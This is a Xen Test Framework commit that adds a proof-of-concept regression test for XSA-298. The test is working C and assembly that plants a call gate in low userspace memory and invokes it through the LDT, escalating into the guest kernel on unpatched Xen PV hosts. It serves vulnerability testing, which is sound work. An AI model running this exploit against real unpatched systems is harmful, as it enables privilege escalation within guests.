]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-298 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Tue, 7 May 2019 10:19:58 +0000 (11:19 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 28 Nov 2019 23:24:14 +0000 (23:24 +0000)
arch/x86/include/arch/desc.h
arch/x86/include/arch/x86-gate.h
docs/all-tests.dox
tests/xsa-298/Makefile [new file with mode: 0644]
tests/xsa-298/main.c [new file with mode: 0644]

index bc39e6ce154bf339bf7b300155462d1088ac1fbd..165b068cb7fcc9989ace4ae906f639b7d7fe4077 100644 (file)
@@ -114,23 +114,51 @@ struct __packed desc_ptr64 {
     uint64_t base;
 };
 
+/**
+ * Long mode lcall/ljmp memory operand.
+ *
+ * WARNING: Intel and AMD disagree on how large a far_ptr64 is.  Intel uses 8
+ * bytes offset, while AMD use 4.
+ *
+ * Initialisation of offset and encoding for an lcall/ljmp instruction needs
+ * per-vendor configuration.
+ */
+struct __packed far_ptr64 {
+    union {
+        uint64_t offset_intel;
+        struct {
+            uint32_t :32;
+            uint32_t offset_amd;
+        };
+    };
+    uint16_t selector;
+};
+
 /** Protected mode lgdt/lidt table pointer. */
 struct __packed desc_ptr32 {
     uint16_t limit;
     uint32_t base;
 };
 
+/** Protected mode lcall/ljmp memory operand. */
+struct __packed far_ptr32 {
+    uint32_t offset;
+    uint16_t selector;
+};
+
 #if defined(__x86_64__)
 
 typedef struct desc_ptr64 desc_ptr;
 typedef struct seg_desc32 user_desc;
 typedef struct seg_gate64 gate_desc;
+typedef struct far_ptr64  far_ptr;
 
 #elif defined(__i386__)
 
 typedef struct desc_ptr32 desc_ptr;
 typedef struct seg_desc32 user_desc;
 typedef struct seg_gate32 gate_desc;
+typedef struct far_ptr32  far_ptr;
 
 #else
 # error Bad architecture for descriptor infrastructure
index 5a410061e8b9d61900ebed6baa4ca5bc6836c7dd..c02cccf38078b759341b77f8a3c70fb79d8d3622 100644 (file)
@@ -107,6 +107,13 @@ static inline void pack_task_gate(env_gate *g, unsigned int selector)
     pack_gate(g, 5, selector, 0, 0, 0);
 }
 
+static inline void pack_call_gate(
+    env_gate *g, unsigned int sel, unsigned long offset,
+    unsigned int dpl, unsigned int other)
+{
+    pack_gate(g, 12, sel, offset, dpl, other);
+}
+
 static inline void pack_intr_gate(
     env_gate *g, unsigned int sel, unsigned long offset,
     unsigned int dpl, unsigned int other)
index ce04a6ddb310518970333a065628fb9b6b7b4d79..50429127126d3147a4c7cde469c785d71e34df03 100644 (file)
@@ -140,6 +140,9 @@ XSA-293 - See @ref test-pv-fsgsbase.
 
 @subpage test-xsa-296 - VCPUOP_initialise DoS.
 
+@subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
+emulation.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-298/Makefile b/tests/xsa-298/Makefile
new file mode 100644 (file)
index 0000000..c41b123
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-298
+CATEGORY  := xsa
+TEST-ENVS := $(PV_ENVIRONMENTS)
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-298/main.c b/tests/xsa-298/main.c
new file mode 100644 (file)
index 0000000..9a62bb2
--- /dev/null
@@ -0,0 +1,139 @@
+/**
+ * @file tests/xsa-298/main.c
+ * @ref test-xsa-298
+ *
+ * @page test-xsa-298 XSA-298
+ *
+ * Advisory: [XSA-298](https://xenbits.xen.org/xsa/advisory-298.html)
+ *
+ * The pv32 ABI allows the use of call gates, because in the days of 32bit
+ * CPUs with 4 full rings of protection, they really did work.  When 64bit
+ * CPUs came along, the use of call gates was restricted to only targeting
+ * 64bit code segments.  Therefore, a 64bit Xen running a 32bit PV guest has
+ * to emulate call gates to maintain the pv32 ABI.
+ *
+ * The emulation bug is that the LDT limit, as set by the kernel, isn't
+ * respected.
+ *
+ * Crafty userspace can therefore use two properties of Xen:
+ *
+ * 1) LDT frames undergo type promotion on first use, rather than up-front at
+ *    context switch time.
+ * 2) The way a guest kernel indicates "no LDT" to Xen is to set its linear
+ *    address to 0.
+ *
+ * and the common behaviour that no-one uses LDTs these days to escalate its
+ * privileges into the guest kernel.
+ *
+ * It does so by writing a suitable looking gate somewhere in the range 0 to
+ * 64k, remapping the gate as read-only (so it will successfully type
+ * promote), then attempting to use the gate via the LDT.
+ *
+ * Xen's emulation skips the LDT limit check (which should be 0, and disallow
+ * the LDT reference), finds a read-only frame which successfully promotes to
+ * being a seg-desc frame, then proceeds to emulate the call itself.
+ *
+ * @see tests/xsa-298/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-298 PoC";
+
+#define GATE_SEL (0x1000 | X86_SEL_LDT | 3)
+
+unsigned int gate_target(void);
+asm ("gate_target:;"
+     "mov %cs, %eax;"
+#ifdef __x86_64__
+     "rex64 "
+#endif
+     "lret;");
+
+static void __user_text user1(void)
+{
+    env_gate *gate = _p(GATE_SEL & PAGE_MASK);
+
+    pack_call_gate(gate, __KERN_CS, _u(&gate_target), 3, 0);
+}
+
+static unsigned long __user_text user2(void)
+{
+    /*
+     * Don't put on the stack.  Some versions of Clang try to initialise it by
+     * copying out of .rodata which is a supervisor mapping.
+     */
+    static far_ptr __user_data ptr = { .selector = GATE_SEL, };
+    const char *vendor_ptr = _p(&ptr);
+    unsigned int res = 0;
+
+    if ( IS_DEFINED(CONFIG_64BIT) && vendor_is_amd )
+        vendor_ptr += 4;
+
+    asm volatile ("1:"
+#ifdef __x86_64__
+                  "rex64 "
+#endif
+                  "lcall *%[ptr]; 2:"
+                  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
+                  : "+a" (res)
+                  : [rec] "p" (ex_record_fault_eax),
+                    [ptr] "m" (*vendor_ptr),
+                    /* Pretend to read all of ptr, or it gets optimised away. */
+                    "m" (ptr));
+
+    return res;
+}
+
+static int remap_linear(const void *linear, uint64_t flags)
+{
+    intpte_t nl1e = pte_from_virt(linear, flags);
+
+    return hypercall_update_va_mapping(_u(linear), nl1e, UVMF_INVLPG);
+}
+
+void test_main(void)
+{
+    env_gate *gate = _p(GATE_SEL & PAGE_MASK);
+    unsigned int res;
+
+    /*
+     * Prepare userspace memory.
+     */
+    memset(gate, 0, PAGE_SIZE);
+    remap_linear(gate, PF_SYM(AD, U, RW, P));
+
+    /*
+     * Simulate a piece of userspace making the attack, with an
+     * mprotect(PROT_READ) syscall in the middle.
+     */
+    exec_user_void(user1);
+    remap_linear(gate, PF_SYM(AD, U, P));
+    res = exec_user(user2);
+
+    /*
+     * Interpret the result.  Successful use of the call gate should return
+     * the running %cs, while a fixed Xen should fail the far call with a #GP
+     * fault.
+     */
+    switch ( res )
+    {
+    case __KERN_CS:
+        return xtf_failure("Fail: vulnerable to XSA-298\n");
+
+    case EXINFO_SYM(GP, GATE_SEL & ~X86_SEL_RPL_MASK):
+        return xtf_success("Success: Not vulnerable to XSA-298\n");
+
+    default:
+        return xtf_failure("Fail: Unexpected return value %#x\n", res);
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */